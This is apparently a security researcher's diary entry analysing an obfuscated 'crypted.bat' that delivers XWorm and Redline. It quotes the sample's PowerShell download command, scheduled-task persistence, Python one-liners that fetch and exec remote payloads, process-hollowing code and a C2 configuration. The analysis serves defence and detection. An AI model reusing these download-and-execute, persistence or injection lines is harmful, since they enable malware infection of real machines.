From Highly Obfuscated Batch File to XWorm and Redline
If you follow my diaries, you probably already know that one of my favorite topics around malware is obfuscation. I'm often impressed by the crazy techniques attackers use to make reverse engineers' lives more difficult. Last week, I spotted a file called "crypted.bat" (SHA256: 453c017e02e6ce747d605081ad78bf210b3d0004a056d1f65dd1f21c9bf13a9a) which is detected by no antivirus according to VT[1]. It deserved to be investigated!
When you open the file in a text editor, you see this:
The Byte order mark[2] is the first widespread technique used by the attacker. In this case, UTF-16 (LE) was used (0xFFFE):
remnux@remnux:/MalwareZoo/20240820$ xxd crypted.bat | head -3
00000000: fffe 2543 576b 4941 7a6f 7825 3e25 7855 ..%CWkIAzox%>%xU
00000010: 7147 4f63 5425 257a 6341 796d 6d70 6325 qGOcT%%zcAymmpc%
00000020: 6e25 6763 5a53 704a 5065 2525 5243 7361 n%gcZSpJPe%%RCsa
If you convert the file into plain ASCII, you get this:
%CWkIAzox%>%xUqGOcT%%zcAymmpc%n%gcZSpJPe%%RCsaTkgh%u%NrajlITIN%%FlosuXBh%l%UHWpNytD% %eVMEqNU%2%cfsrQUQzB%%PJakTgn%>%RefSuAz%%SkEtfgeM%&%eSIxMAoMy%%UTYiweX%1%wIwqYvcY% %ZPVOxQb%&%tySQLj i%%YpbVsTD%&%LowuPzVsi% %dlyCzql%e%WdsbYAngD%%JAVuRTqx%x%qRAdGofXf%%ZlNPHhZ%i%BIHqMIv%%qAEKZwGsL%t%HCJPkwM% %HrmxKzzju%>%tgEGchZJ%%RPgxTsDqd%n%fOSlmwo%%AfRBXJVMr%u%wwuwslz%%ICSPyFU%l%mp dRSphJ% %ZynhxMK%2%DZjctPXH%%htGVgFpRM%>%SnuoRzrG%%bZgjFPGkJ%&%ZhtxeHp%%AkxdtiEx%1%fusLDeh% %QCHPHPX%|%kohylBV%%yJLIMIwFw%|%DeRJrLcp% %EvtJHRMln%c%xaarmMe%%akERTuAI%l%QojqolGI%%TunxPoBA A%s%rjpMfvI% %oapTJQevr%@%WHKNkqk%%oqzVsZQ%e%YmNqtkd%%vdiHhTxI%c%xMvUDbmC%%WCXXQkQk%h%nueJqFl%%fMndPeG%o%WaNiIDzh% %uJeRwam%o%JdBMKkK%%cRDqoXWq%f%YfipIdy%%EOiCmnjqu%f%jtWAxPYHA% %KzhGwGvJY%s%QMjCtXlpm%%KLXvhlX%^%zbASMkOKb%%MSoRIhosJ%e%oiRdjsAM%%IYWQOGT%t%JuxdyvMM% %nHqJvNFE%/%wJWtubVi%%jRBLVAoKa%^%zotsNYeS%%PKAAtOj%a%lHbOqSQm% %gTRLvMIMh%a%TmYGqwITr%%tFWNDgGm%^ %HAuoqhl%%AahyDuxE%n%brEAKhct%%sPaerVhD%S%PCCfCoV%%xyJnQmpg%=%xyZBFKb%%kgvpqle%0%igJPWFJh%%kHhywwZhj%3%OgmwBJPPO%%xWNiFhcNY%*%ospxJKsVH%%HWwoAYL%0%hqdGiiwS%%NosePdt%x%sTHZaRBmB%%SlmnYHf %3%EOZLOFflT%%VXgbmxUG%*%MPiWIOc%%kHUfmXe%0%MgkaPLhRY%%wZoyEHqhH%5%rQetBwquH%%eMdBPIjJ%*%oGzpdzdJc%%MPOdsiZQ%0%ruVOBkYqU%%KjFXrbbXb%3%GrywQPHa%%ApGTvfdw%5%hMcgXYFI%%nDAyneTR%*%QkVbhgwb% %ZlaxGFxhP%0%hVSWhhsi%%NFxCEiojT%x%avtVZdgT%%zOJsMdsiV%9%mIYjXPjXp%%XBPOHkzQR%7%TVTavXb% %zhDxhLixO%g%WqOitSUcP%%waQfbbZX%o%bYhMmYRJ%%JaLqJhJGK%^%wQcImER%%NjFttczP%t%zNQwEPG%%jckticUQ%^%SJHNHIEd%%QpgXMaZU%O%LYuYeAj% %TIMyhIah%;%kGMHyct% %FQiUhRT%,%wflaxcBC%%xGVWyGydK%,%Ozsp pQsYA%%jlFOQAm%;%fiDRSuVM% %anS% :519609 %DgVWcoR%s%ZoIFCLprt%%NntCxCm%e%NgFZpwn%%pyLYsOmAO%^%wdAjOvn%%FFANelC%t%vVpMctJn% %ALLnvmHl%/%mFxhErB%%zqQlKRs%a%myJtTSMTo% %PXuVWTw%a%fFQUkrEpq%%cYZxExF%^%xyNKacYxS%%OWQkNHdZN%N%GbQyEV Znc%%JxWlmKWiu%^%gpPMNUTz%%cnJkBEKME%S%nyQCCeW%%stOmRCyRR%=%lljWlaa%%MUJYsuW%2%dIgZDUB%%zKFhHQaX%*%qbSVGOmT%%wpkFVpUhQ%2%VeqoxYWD%%SlQwVpsX%*%mBJzSHuCR%%bxXgukkg%2%zSxetVaPj%%kGQLxTcxY% *%hDmfydQ%%OoXhDbZj%2%ZuhkxkEp%%xITWbJnYV%*%FXnJHNc%%ixLinKshS%0%DnoYFgL%%fSqOFgB%5%Xapkdbgb%%LxvKpZFaN%*%ePDNvAP%%AFDBLDAG%0%oYYBmwfe%%Qdiujzov%2%lWWUzOnsT%%SlVybcJx%3%xZiUqrR%%mlzpecC pj%*%xCQyduGrX%%oAbeUiyIE%(%QeZtONu%%ZcgvICAx%0%nhOmDybFj%%jjUoKBsu%6%fkjNdnHSc%%UGcGIqN%2%owehgYFDL%%FUwxiPOW%0%ikcPJSh%%pKQMamsY%^%PCQNlJF%%MbIYdjP%^%NmCLQGrsA%%uLrORben%0%wOOPMHXa%%e bFjSHOd%x%DdLTfYUW%%eFUkTQXc%8%PlNXoGxZ%%iZoIjTGWG%b%hPytbQcp%%wOoGCuJ%)%qMzNOpWLK% %EYUngJPBb%g%xtyhGUl%%RUGmrEQws%^%RRahjnG%%coXzOZPxy%O%znjAGFDUI%%TNHDTjQ%t%buwgVewv%%EhyQGHFA%^%MRCzzkdFZ%%PXScpQWPR%O%mDzExmBGg% %aEXetltkX%;%XRCvjYb% %NEAOkHpfx%,%Scqfgqhl%%nexdrDtk% ;%GqOiFqUN%%rQyHZCT%;%lXGsxpKk%%PtFrFcYDl%,%GNEWsWFT% %AnS% :512015
It still hurts! The second obfuscation technique is the use of empty environment variables (%xxx%). When Windows interprets this batch file, any empty (non-existing) variable will be simply ignored. Let's get rid of them using a simple regular expression:
remnux@remnux:/MalwareZoo/20240820$ sed -E "s/%\w{5,}%//g" crypted-ascii.bat | head -10 >nul 2>&1 && exit >nul 2>&1 || cls @echo off s^et /^a a^nS=03*0x3*05*035*0x97 go^t^O ; ,,; %anS% :519609 se^t /a a^N^S=2*2*2*2*05*023*(0620^^0x8b) g^Ot^O ; ,;;, %AnS%
We start to understand the code but still hard to read! The script will compute "addresses" where to jump based on "goto" instructions and labels:
C:\Users\REM\Desktop>s^et /^a a^nS=03*0x3*05*035*0x97 197055
The script will generate labels on the fly and jump forward and backward in the script to perform its malicious activities:
set /a anS=03*0x3*05*035*0x97 gotO ; ,,; 197055 set /a ans=0x3*(0545^036)*(0750^041) goto 519609 set /a aNS=2*2*2*2*05*023*(0620^0x8b) gOtO ; ,;;, 430160 for /L %n in (87 87 87) do (set "i=a" ) (set "i=a" ) set /a ans=05*07*~-14630 goto 512015 set /a aNs=0x11*045*(0343^0x1be) goTo ; ; ; 219521 for /L %x in (792 792 792) do (set "j=b" ) (set "j=b" ) set /a ans=2*05*0x5*(0x5621^0x1ce2) goto 956950 set /a ans=2*0xb*027*((0x170^0x18c8)>>3) gOto , ; 416438 for /L %l in (579 579 579) do (set "k=c" ) (set "k=c" ) set /a ans=0x200*05*~-282 goto 719360 set /a anS=2*2*05*(0xdf47^0x7c3c) goto ; , 837020 for /L %l in (783 783 783) do (set "l=d" ) (set "l=d" )
The next commands will be reconstructed by creating more environment variables! This is pretty difficult to analyze. Let's speed up a bit.
Many batch files on Windows close their window once completed. To prevent this, here is a quick tip. First, re-enable the display of commands by removing the "@echo off" commands then run the scripts with a "cmd /k". This will prevent the window from being closed at the end of the script!
Once you execute the script, it's always good to keep an eye on the system activity. Here, we will face a nice lists of processes:
Let's review some capabilities of the script:
First, a static Python environment will be deployed:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/LoneNone1807/RedAV/raw/main/Python310.zip', [System.IO.Path]::GetTempPath() + 'Python310.zip') "
Persistence will be implemented via a scheduled task:
$s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZ ... (removed) ... uZGVjb2RlKCd1dGYtOCcpKSk='))"; $obj = New-Object -ComObject WScript.Shell; $link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindowsSecurity.lnk"); $link.WindowStyle = 7; $link.TargetPath = "$env:LOCALAPPDATA\Programs\Python\Python310\pythonw.exe"; $link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"; $link.Arguments = "-c `"$payload`""; $link.Save() "
Followed by:
schtasks /create /tn "Windows Security" /sc ONLOGON /tr "C:\Users\admin\AppData\Local\WindowsSecurity.lnk" /rl HIGHEST /f
The Python code will be re-executed at every logon. Let's have a look at it:
import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('hxxps://raw[.]githubusercontent[.]com/LoneNone1807/martin/main/xclient-enc').read().decode('utf-8')))remnux@remnux:/mnt/hgfs/MalwareZoo/20240820$ cat foo import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('hxxps://raw[.]githubusercontent[.]com/LoneNone1807/martin/main/redline-enc').read().decode('utf-8')))
Just by reading the URLs, you can guess what will be delivered next! Both files are the same, let's check the first one deeper. The Base64-decoded payload is another heavily obfuscated Python code:
remnux@remnux:/MalwareZoo/20240820$ base64dump.py -s 1 -d xclient-enc | head -20 __7757181224032 = 0 __7757181224032 += 1 try: raise MemoryError(__7757181224032) except MemoryError as __6869620366740: if __6869620366740.args[0] == 1: globals()['R_E_D__A_V_______'] = bool if bool(bool(bool(bool))) < bool(type(int(141) > int(136) < int(917) > int(914))) and bool(str(str(12) > int(1914) < int(135) > int(1213))) > 2 else bool if __6869620366740.args[0] == 3: __2756301777751 = 183678491109303 if __6869620366740.args[0] == 4: __3230546755142 = 108555631585962 if __6869620366740.args[0] == 5: __7482691456924 = 132970063103483 __2177051061499 = 0 __2177051061499 += 1 try: raise MemoryError(__2177051061499) except MemoryError as __2341209797439: if __2341209797439.args[0] == 1: globals()['R_E_D__A_V______'] = str if bool(bool(bool(str))) < bool(type(int(1119) > int(712) < int(39) > int(34))) and bool(str(str(174) > int(1712) < int(173) > int(513))) > 2 else str
The obfuscation technique used is based on try/except exception handling. But not all the code has been obfuscated and it's easy to understand the purpose of the script:
remnux@remnux:/mnt/hgfs/MalwareZoo/20240820$ grep 'kernel32\.' foo kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD] kernel32.VirtualAllocEx.restype = LPVOID kernel32.WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, SIZE_T, POINTER(SIZE_T)] kernel32.WriteProcessMemory.restype = BOOL kernel32.CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD] kernel32.CreateRemoteThread.restype = HANDLE kernel32.VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, LPDWORD] kernel32.VirtualProtectEx.restype = BOOL kernel32.CreateProcessA.argtypes = [LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION)] kernel32.CreateProcessA.restype = BOOL kernel32.QueueUserAPC.argtypes = [PAPCFUNC, HANDLE, POINTER(ULONG)] kernel32.QueueUserAPC.restype = BOOL kernel32.ResumeThread.argtypes = [HANDLE] kernel32.ResumeThread.restype = BOOL
The Python script will use all the API calls required to perform a classic code injection using the process hollowing technique!
Indeed, we can see that a random process will be created in suspended mode to be hollowed (the code has been beautified):
is_created = kernel32.CreateProcessA(None, b'C:\\Windows\\System32\\' + random.choice([b'svchost.exe', b'notepad.exe', b'lsass.exe', b'winlogon.exe', b'sihost.exe', b'taskhostw.exe', b'fontdrvhost.exe', b'wbem\\WmiPrvSE.exe', b'RuntimeBroker.exe', b'conhost.exe', b'audiodg.exe', b'cmd.exe', b'smartscreen.exe', b'SecurityHealthSystray.exe', b'calc.exe', b'ping.exe', b'mspaint.exe', b'mstsc.exe', b'dwm.exe', b'spoolsv.exe', b'wuauclt.exe', b'SearchIndexer.exe', b'MusNotifyIcon.exe', b'WindowsPowerShell\\v1.0\\powershell.exe']), None, None, (lambda: (lambda _113: _113 - (lambda: ______R_E_D__A_V_______((lambda: R_E_D__A_V(b'R_E_D__A_V__wx'))()))())((lambda: R_E_D__A_V(b'R_E_D__A_V__'))()) == (lambda: R_E_D__A_V(b'R_E_D__A_V__\x01'))())(), CREATE_SUSPENDED | CREATE_NO_WINDOW, None, None, byref(startup_info), byref(process_info))
Note that the target process will be selected randomly from the list of "safe" processes!
Once the process is created and hollowed, malicious code will be injected. To find this payload, let's have a look at WriteProcessMemory:
is_written = kernel32.WriteProcessMemory(process_info.hProcess, remote_memory_address, buf, len(buf), byref(bytes_written))
The variable "buf" is populated above with a download from an obfuscated URL:
buf = base64.b64decode(urllib.request.urlopen("hxxps://raw[.]githubusercontent[.]com/LoneNone1807/martin/main/XClient.b64")
The same technique will be used to create a process to run the Redline malware.
The XWorm config is:
{ "C2": "15[.]235[.]176[.]64:7000", "Keys": "AES": "<123456789>" }, "Options": "Splitter": "<Xwormmm>", "Sleep time": "3", "USB drop name": "XWorm V5.6", "Mutex": "5stMCVxSzALOfTCK" } }
[1] https://www.virustotal.com/gui/file/453c017e02e6ce747d605081ad78bf210b3d0004a056d1f65dd1f21c9bf13a9a
[2] https://en.wikipedia.org/wiki/Byte_order_mark
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments